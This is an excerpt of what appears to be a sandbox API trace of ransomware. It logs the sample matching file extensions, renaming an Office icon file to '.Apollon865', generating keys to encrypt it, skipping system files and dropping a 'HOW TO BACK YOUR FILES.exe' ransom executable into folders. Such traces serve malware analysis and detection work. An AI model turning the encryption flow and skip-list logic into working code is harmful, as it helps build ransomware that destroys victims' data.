	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1
	[0080.848] lstrlenW (lpString="eco") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1
	[0080.848] lstrlenW (lpString="ecx") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1
	[0080.848] lstrlenW (lpString="edb") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1
	[0080.849] lstrlenW (lpString="epim") returned 4
	[0080.849] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1
	[0080.849] lstrlenW (lpString="fcd") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1
	[0080.849] lstrlenW (lpString="fdb") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1
	[0080.849] lstrlenW (lpString="fic") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1
	[0080.849] lstrlenW (lpString="flexolibrary") returned 12
	[0080.849] lstrcmpiW (lpString1="TeamSite.ico", lpString2="flexolibrary") returned 1
	[0080.849] lstrlenW (lpString="fm5") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1
	[0080.849] lstrlenW (lpString="fmp") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1
	[0080.849] lstrlenW (lpString="fmp12") returned 5
	[0080.849] lstrcmpiW (lpString1="e.ico", lpString2="fmp12") returned -1
	[0080.849] lstrlenW (lpString="fmpsl") returned 5
	[0080.849] lstrcmpiW (lpString1="e.ico", lpString2="fmpsl") returned -1
	[0080.849] lstrlenW (lpString="fol") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1
	[0080.849] lstrlenW (lpString="fp3") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1
	[0080.849] lstrlenW (lpString="fp4") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1
	[0080.849] lstrlenW (lpString="fp5") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1
	[0080.849] lstrlenW (lpString="fp7") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1
	[0080.849] lstrlenW (lpString="fpt") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1
	[0080.849] lstrlenW (lpString="frm") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1
	[0080.849] lstrlenW (lpString="gdb") returned 3
	[0080.849] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.850] lstrlenW (lpString="gdb") returned 3
	[0080.850] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.850] lstrlenW (lpString="grdb") returned 4
	[0080.850] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1
	[0080.850] lstrlenW (lpString="gwi") returned 3
	[0080.850] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1
	[0080.850] lstrlenW (lpString="hdb") returned 3
	[0080.850] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1
	[0080.850] lstrlenW (lpString="his") returned 3
	[0080.850] lstrcmpiW (lpString1="ico", lpString2="his") returned 1
	[0080.850] lstrlenW (lpString="ib") returned 2
	[0080.850] lstrcmpiW (lpString1="co", lpString2="ib") returned -1
	[0080.850] lstrlenW (lpString="idb") returned 3
	[0080.850] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1
	[0080.850] lstrlenW (lpString="ihx") returned 3
	[0080.850] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1
	[0080.850] lstrlenW (lpString="itdb") returned 4
	[0080.850] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1
	[0080.850] lstrlenW (lpString="itw") returned 3
	[0080.850] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1
	[0080.850] lstrlenW (lpString="jet") returned 3
	[0080.850] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1
	[0080.850] lstrlenW (lpString="jtx") returned 3
	[0080.850] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1
	[0080.850] lstrlenW (lpString="kdb") returned 3
	[0080.850] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1
	[0080.850] lstrlenW (lpString="kexi") returned 4
	[0080.850] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1
	[0080.850] lstrlenW (lpString="kexic") returned 5
	[0080.850] lstrcmpiW (lpString1="e.ico", lpString2="kexic") returned -1
	[0080.850] lstrlenW (lpString="kexis") returned 5
	[0080.850] lstrcmpiW (lpString1="e.ico", lpString2="kexis") returned -1
	[0080.850] lstrlenW (lpString="lgc") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1
	[0080.851] lstrlenW (lpString="lwx") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1
	[0080.851] lstrlenW (lpString="maf") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1
	[0080.851] lstrlenW (lpString="maq") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1
	[0080.851] lstrlenW (lpString="mar") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1
	[0080.851] lstrlenW (lpString="marshal") returned 7
	[0080.851] lstrcmpiW (lpString1="ite.ico", lpString2="marshal") returned -1
	[0080.851] lstrlenW (lpString="mas") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1
	[0080.851] lstrlenW (lpString="mav") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1
	[0080.851] lstrlenW (lpString="maw") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1
	[0080.851] lstrlenW (lpString="mdbhtml") returned 7
	[0080.851] lstrcmpiW (lpString1="ite.ico", lpString2="mdbhtml") returned -1
	[0080.851] lstrlenW (lpString="mdn") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1
	[0080.851] lstrlenW (lpString="mdt") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1
	[0080.851] lstrlenW (lpString="mfd") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1
	[0080.851] lstrlenW (lpString="mpd") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1
	[0080.851] lstrlenW (lpString="mrg") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1
	[0080.851] lstrlenW (lpString="mud") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1
	[0080.851] lstrlenW (lpString="mwb") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1
	[0080.851] lstrlenW (lpString="myd") returned 3
	[0080.851] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1
	[0080.852] lstrlenW (lpString="ndf") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1
	[0080.852] lstrlenW (lpString="nnt") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1
	[0080.852] lstrlenW (lpString="nrmlib") returned 6
	[0080.852] lstrcmpiW (lpString1="te.ico", lpString2="nrmlib") returned 1
	[0080.852] lstrlenW (lpString="ns2") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1
	[0080.852] lstrlenW (lpString="ns3") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1
	[0080.852] lstrlenW (lpString="ns4") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="ns4") returned -1
	[0080.852] lstrlenW (lpString="nsf") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1
	[0080.852] lstrlenW (lpString="nv") returned 2
	[0080.852] lstrcmpiW (lpString1="co", lpString2="nv") returned -1
	[0080.852] lstrlenW (lpString="nv2") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1
	[0080.852] lstrlenW (lpString="nwdb") returned 4
	[0080.852] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1
	[0080.852] lstrlenW (lpString="nyf") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1
	[0080.852] lstrlenW (lpString="odb") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.852] lstrlenW (lpString="odb") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.852] lstrlenW (lpString="oqy") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1
	[0080.852] lstrlenW (lpString="ora") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1
	[0080.852] lstrlenW (lpString="orx") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1
	[0080.852] lstrlenW (lpString="owc") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1
	[0080.852] lstrlenW (lpString="p96") returned 3
	[0080.852] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1
	[0080.853] lstrlenW (lpString="p97") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1
	[0080.853] lstrlenW (lpString="pan") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1
	[0080.853] lstrlenW (lpString="pdb") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1
	[0080.853] lstrlenW (lpString="pdm") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1
	[0080.853] lstrlenW (lpString="pnz") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1
	[0080.853] lstrlenW (lpString="qry") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1
	[0080.853] lstrlenW (lpString="qvd") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1
	[0080.853] lstrlenW (lpString="rbf") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1
	[0080.853] lstrlenW (lpString="rctd") returned 4
	[0080.853] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1
	[0080.853] lstrlenW (lpString="rod") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1
	[0080.853] lstrlenW (lpString="rodx") returned 4
	[0080.853] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1
	[0080.853] lstrlenW (lpString="rpd") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1
	[0080.853] lstrlenW (lpString="rsd") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1
	[0080.853] lstrlenW (lpString="sas7bdat") returned 8
	[0080.853] lstrcmpiW (lpString1="Site.ico", lpString2="sas7bdat") returned 1
	[0080.853] lstrlenW (lpString="sbf") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1
	[0080.853] lstrlenW (lpString="scx") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1
	[0080.853] lstrlenW (lpString="sdb") returned 3
	[0080.853] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1
	[0080.853] lstrlenW (lpString="sdc") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1
	[0080.854] lstrlenW (lpString="sdf") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1
	[0080.854] lstrlenW (lpString="sis") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1
	[0080.854] lstrlenW (lpString="spq") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1
	[0080.854] lstrlenW (lpString="te") returned 2
	[0080.854] lstrcmpiW (lpString1="co", lpString2="te") returned -1
	[0080.854] lstrlenW (lpString="teacher") returned 7
	[0080.854] lstrcmpiW (lpString1="ite.ico", lpString2="teacher") returned -1
	[0080.854] lstrlenW (lpString="tmd") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1
	[0080.854] lstrlenW (lpString="tps") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1
	[0080.854] lstrlenW (lpString="trc") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.854] lstrlenW (lpString="trc") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.854] lstrlenW (lpString="trm") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1
	[0080.854] lstrlenW (lpString="udb") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1
	[0080.854] lstrlenW (lpString="udl") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1
	[0080.854] lstrlenW (lpString="usr") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1
	[0080.854] lstrlenW (lpString="v12") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1
	[0080.854] lstrlenW (lpString="vis") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1
	[0080.854] lstrlenW (lpString="vpd") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1
	[0080.854] lstrlenW (lpString="vvv") returned 3
	[0080.854] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1
	[0080.854] lstrlenW (lpString="wdb") returned 3
	[0080.855] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1
	[0080.855] lstrlenW (lpString="wmdb") returned 4
	[0080.855] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1
	[0080.855] lstrlenW (lpString="wrk") returned 3
	[0080.855] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1
	[0080.855] lstrlenW (lpString="xdb") returned 3
	[0080.855] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1
	[0080.855] lstrlenW (lpString="xld") returned 3
	[0080.855] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1
	[0080.855] lstrlenW (lpString="xmlff") returned 5
	[0080.855] lstrcmpiW (lpString1="e.ico", lpString2="xmlff") returned -1
	[0080.855] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico.Apollon865") returned 69
	[0080.855] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointteamsite.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointteamsite.ico.apollon865"), dwFlags=0x1) returned 1
	[0080.857] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointteamsite.ico.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.857] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=25214) returned 1
	[0080.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.857] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.858] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.858] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.858] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6580, lpName=0x0) returned 0x15c
	[0080.859] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6580) returned 0x100000
	[0080.861] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.862] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.862] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.862] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.862] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0080.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0080.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.863] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0080.863] CloseHandle (hObject=0x15c) returned 1
	[0080.863] CloseHandle (hObject=0x9c) returned 1
	[0080.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.863] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb479d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 1
	[0080.863] lstrcmpiW (lpString1="UICaptions", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.863] lstrcmpiW (lpString1="UICaptions", lpString2="Apollon865.txt.exe") returned 1
	[0080.864] lstrcmpiW (lpString1="UICaptions", lpString2=".") returned 1
	[0080.864] lstrcmpiW (lpString1="UICaptions", lpString2="..") returned 1
	[0080.864] lstrcmpiW (lpString1="UICaptions", lpString2="windows") returned -1
	[0080.864] lstrcmpiW (lpString1="UICaptions", lpString2="bootmgr") returned 1
	[0080.864] lstrcmpiW (lpString1="UICaptions", lpString2="temp") returned 1
	[0080.864] lstrcmpiW (lpString1="UICaptions", lpString2="pagefile.sys") returned 1
	[0080.864] lstrcmpiW (lpString1="UICaptions", lpString2="boot") returned 1
	[0080.864] lstrcmpiW (lpString1="UICaptions", lpString2="ids.txt") returned 1
	[0080.864] lstrcmpiW (lpString1="UICaptions", lpString2="ntuser.dat") returned 1
	[0080.864] lstrcmpiW (lpString1="UICaptions", lpString2="perflogs") returned 1
	[0080.864] lstrcmpiW (lpString1="UICaptions", lpString2="MSBuild") returned 1
	[0080.864] lstrlenW (lpString="UICaptions") returned 10
	[0080.864] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico") returned 58
	[0080.864] lstrcpyW (in: lpString1=0x119e650, lpString2="UICaptions" | out: lpString1="UICaptions") returned="UICaptions"
	[0080.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0080.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c55f8
	[0080.864] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7cb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0080.864] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb479d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 0
	[0080.864] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.864] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7cb0
	[0080.864] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions"
	[0080.864] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0080.864] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0080.864] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned 46
	[0080.864] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions"
	[0080.864] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.864] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.865] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.865] GetLastError () returned 0x0
	[0080.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.865] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.866] CloseHandle (hObject=0x10c) returned 1
	[0080.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.866] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.866] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb479d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.866] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.866] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.866] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.866] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb479d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.866] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.866] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.866] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.866] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.866] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb93c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb93c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0080.866] lstrcmpiW (lpString1="1036", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.866] lstrcmpiW (lpString1="1036", lpString2="Apollon865.txt.exe") returned -1
	[0080.866] lstrcmpiW (lpString1="1036", lpString2=".") returned 1
	[0080.866] lstrcmpiW (lpString1="1036", lpString2="..") returned 1
	[0080.866] lstrcmpiW (lpString1="1036", lpString2="windows") returned -1
	[0080.867] lstrcmpiW (lpString1="1036", lpString2="bootmgr") returned -1
	[0080.867] lstrcmpiW (lpString1="1036", lpString2="temp") returned -1
	[0080.867] lstrcmpiW (lpString1="1036", lpString2="pagefile.sys") returned -1
	[0080.867] lstrcmpiW (lpString1="1036", lpString2="boot") returned -1
	[0080.867] lstrcmpiW (lpString1="1036", lpString2="ids.txt") returned -1
	[0080.867] lstrcmpiW (lpString1="1036", lpString2="ntuser.dat") returned -1
	[0080.867] lstrcmpiW (lpString1="1036", lpString2="perflogs") returned -1
	[0080.867] lstrcmpiW (lpString1="1036", lpString2="MSBuild") returned -1
	[0080.867] lstrlenW (lpString="1036") returned 4
	[0080.867] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*") returned 48
	[0080.867] lstrcpyW (in: lpString1=0x119e666, lpString2="1036" | out: lpString1="1036") returned="1036"
	[0080.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0080.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5afce8
	[0080.867] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7cb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7cb0) returned 0x5b7c50
